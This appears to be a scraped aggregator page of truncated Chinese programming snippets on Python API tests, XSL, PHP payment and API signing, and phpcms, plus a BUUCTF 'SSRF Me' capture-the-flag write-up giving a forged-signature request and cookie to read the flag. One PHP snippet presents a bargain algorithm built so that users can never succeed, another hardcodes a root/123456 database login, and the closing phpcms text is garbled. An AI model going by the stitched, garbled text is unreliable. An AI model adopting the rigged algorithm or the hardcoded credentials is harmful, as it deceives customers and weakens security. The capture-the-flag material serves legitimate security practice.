param

Python--代码1(接口测试:测试用例从数据库读取写到yaml文件中)

匿名 (未验证) 提交于 2019-12-02 22:51:30
一. 从数据库中读取全部接口,并写入yaml文件 数据库中的数据存储格式如下图: import pymysql import os import json # from ruamel import yaml import yaml #第一步:从数据库中取出所有接口记录存成一个字典 def query(sql): con=pymysql.connect(host='192.168.249.152',user='root',password='123456',db='test_api',charset='utf8')#连接数据库 cur=con.cursor()#获取游标 cur.execute(sql)#执行sql list = [] for id,pathGroup,path,param,method in cur.fetchall():#查询记录,fetchall用法参见注释1 ever = { 'pathgroup': pathGroup, 'path': path, 'param': param if param == '' else json.loads(param), 'method': method } #将每一个接口形成一个字典格式,param如果写成'param':param的话会有坑(坑1) #print(ever) list.append(ever)

BUUCTF | [De1CTF 2019]SSRF Me

一世执手 提交于 2019-12-02 22:33:31
步骤: 1.得到签名sign http://8fa4531c-1164-49b7-a700-70e77e6aacb7.node3.buuoj.cn/geneSign?param=flag.txtread 2.添加Cookie发送请求得到flag Cookie: action=readscan;sign=cf8d4365c9b27a29b29e025a7ed25fa6 原理: 1.分析源码得到三个路由表信息 #! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip

Processing stacks of parameters using 'for-each' in XSL?

会有一股神秘感。 提交于 2019-12-02 22:20:26
问题 I have a series of param elements inside a template that rely upon each other (i.e. each subsequent param uses the value of the previous one as part of it's XPath) e.g. <xsl:param name="input1" select="path/node/@value"/> <xsl:param name="input2" select="path/anothernode[@value=$input1]/anothervalue"/> <xsl:param name="input3" select="path/thirdnode[@value=$input2]/@endvalue"/> etc. etc. The stack of params works perfectly on a single run through. However, when I use a for-each loop to call

php封装支付

无人久伴 提交于 2019-12-02 22:15:44
<?php namespace Pay; use think\Config; vendor ('Pay.alipay.pagepay.service.AlipayTradeService'); vendor ('Pay.alipay.pagepay.buildermodel.AlipayTradePagePayContentBuilder'); vendor ('Pay.wxpay.lib.WxPay#Api'); vendor ('Pay.wxpay.example.WxPay#NativePay'); vendor ('Pay.wxpay.example.WxPay#JsApiPay'); vendor ('Pay.wxpay.lib.WxPay#Api#php'); vendor ('Pay.wxpay.lib.WxPay#Notify#php'); vendor ('Pay.alipay.aop.AopClient'); class pay{ //全局阿里配置参数 public $alipay_config = null; public $weixin_config = null; public function __construct() { $this->alipay_config = Config::get('alipay_config'); $this-

php给app写接口进行接口的加密

匿名 (未验证) 提交于 2019-12-02 22:11:45
<?php /** inc 解析接口 客户端接口传输规则: 1.用cmd参数(base64)来动态调用不同的接口,接口地址统一为 http://a.lovexpp.com 2.将要传过来的参数组成一个数组,数组添加timestamp元素(当前时间戳,精确到秒),将数组的键值按照自然排序从大到小排序 3.将数组组成 key=val&key=val的形式的字符串,将字符串与XPP_KEY连接在一起,用md5加密一次(32位小写),得到sign 4.将sign添加到参数数组中 5.将参数数组转换成json用post请求请求接口地址,key值为param 服务端接口解析规则: 1.接收参数param,将结果解析json得到参数数组 2.取出sign,去掉参数数组中的sign 3.将参数数组key值按照自然排序从大到小排序 4.将排序后的参数数组按照key=val&key=val的形式组成字符串,将字符串与XPP_KEY连接,用md5加密一次(32位小写),得到sign 5.将sign与客户端传过来的sign进行比对,如不一样则可能是中途被篡改参数,服务器拒绝此次请求 6.将sign与session中的sign对比,如果一样,则为重复提交,服务器拒绝此次请求 7.此次的sign存入session 8.执行路由cmd(base64解析后),将参数带到该方法中 */ $xpp_key =

PHP常用功能组件方法---代码块

匿名 (未验证) 提交于 2019-12-02 22:11:45
工作中常用的几个功能封装,收集整理,留用2018年6月23日15:43:03 xml 转 array数组 /** * xml 转为 array * @param string $xml * @throws WxPayException */ public function FromXml ( $xml ) { if ( ! $xml ){ throw new Exception( "xml " ); } // XML 转为 array // xml libxml_disable_entity_loader ( true ); $this -> values = json_decode ( json_encode ( simplexml_load_string ( $xml , 'SimpleXMLElement' , LIBXML_NOCDATA)), true ); return $this -> values; } 对象中数组 转 xml /** * xml * @throws WxPayException **/ public function ToXml () { if ( ! is_array ($this -> values) || count ($this -> values) <= 0 ) { throw new Exception( " " ); } $xml =

JSON方式封装通信接口

匿名 (未验证) 提交于 2019-12-02 22:11:45
1.封装通信接口数据的方法 案例:生成json 注意:json_encode() 只能接收utf-8数据 测试: <?php $arr = array( 'id'=>1, 'name'=>'zhangsan' ); echo json_encode($arr); 返回:{"id":1,"name":"zhangsan"} 继续: <?php $arr = array( 'id'=>1, 'name'=>'zhangsan' ); $data = "输出json数据"; $newdata = iconv('UTF-8','GBK',$data); echo json_encode($newdata); //返回空 <?php class Response{ /** * [json description] * @param 按照json数控输出通信数据 * @param integer $code 状态吗 * @param string $message 提示信息 * @param array $data 数据 * @return string * */ public static function json($code,$message='',$data=array()){ if(!is_numeric($code)){ return ''; } $result = array(

PHP拼多多模式,砍价免费拿商品算法

匿名 (未验证) 提交于 2019-12-02 22:11:45
我12年开始做网站,对拼多多关注两三年了,一直对他们的拉新模式很感兴趣,下面我对砍价送礼品的算法跟大家分享下。 拼多多砍价免费拿商品有几个核心的东西: 1.需要拉新多人给商品,这个是直接在数据库配置的 2.是否给商品,如果不想给商品,系统会在接近砍价成功时候,不断返回小金额的砍价,如果金额小于0.01,无论是新的粉丝来砍价还是老会员,都会直接返回0.00元,永远无法砍价到。 3.不满足拉新人数要求,如果砍刀均价已经达到临界值0.01元,都会直接返回0.00元,直到拉新任务完成。 <?php /**拼多多砍价算法 * Created by PhpStorm. * Website//www.youhuajun.com * User: Benjamin * Date: 2019/9/6 * Time: 9:15 */ class Pinduoduo { /**计算本次折扣金额 * @param $price商品单价 * @param $currentPrice当前商品价格,即折扣后的价格 * @param $followerCount当前拉新人数 * @param $needCount所需拉新人数 * @param $willSucess是否给钱,默认是给钱,不给钱永远砍价不到 */ public function caculateDiscountAmount($price,

thinkphp 写APP接口集成极光推送的例子

匿名 (未验证) 提交于 2019-12-02 22:11:45
下面我们来看一篇关于thinkphp 写APP接口集成极光推送,对于app的数据都得通过接口来实现了,当然也有内置数据库的不过这种非常少了。 最近用Thinkphp写了个App接口用到第三方推送功能,本文用的第三方推送工具是极光推送,其他的推送不一一介绍。 第一步:下载PHPSDK 并到官网上注册应用将app_key 、master_secret 放到文件中 下载地址:https://www.jpush.cn/common/downloads/resource/1460966988359 第二步:将解压后的文件 src->JPush中的文件及文件夹复制到ORG->Push中(文件夹需要自己创建)或者放到vender中 第三步:在公共控制器CommonAction中创建push方法 private $app_key=****; private $master_secret=****; public function push() { import("ORG.Push.Push"); $client = new JPush($this->app_key,$this->master_secret); $result = $client->push() ->setPlatform('all') ->addAllAudience() ->setNotificationAlert(

phpcms加载系统类与加载应用类的区别

匿名 (未验证) 提交于 2019-12-02 22:11:45
加载系统类方法 load_sys_class($classname, $path = ‘’", $initialize = 1) 系统类文件所在的文件路径:/phpcms/libs/classes/文件夹下 参数说明: @param string $classname 类名 @param string $path 扩展地址 @param intger i n i t i a l i z e 是 否 初 ʼ 化 如 Ҫ 调 用 ϵ ͳ F o r m 类 的 生 成 验 ֤ 码 函 数 : c h e c k c o d e ( ) , 看 下 面 例 子 p c b a s e : : l o a d s y s c l a s s ( ′ f o r m ′ , ′ ′ , 0 ) ; / / 加 载 ϵ ͳ f o r m 类 e c h o f o r m : : c h e c k c o d e ( ′ c o d e i m g ′ , ′ 4 ′ , ′ 1 4 ′ , 84 , 24 ) ; / / 调 用 ϵ ͳ f o r m 内 的 函 数 2. 加 载 Ӧ 用 类 方 法 l o a d a p p c l a s s ( initialize 是否初始化 如要调用系统Form类的生成验证码函数:checkcode() ,看下面例子 pc_base: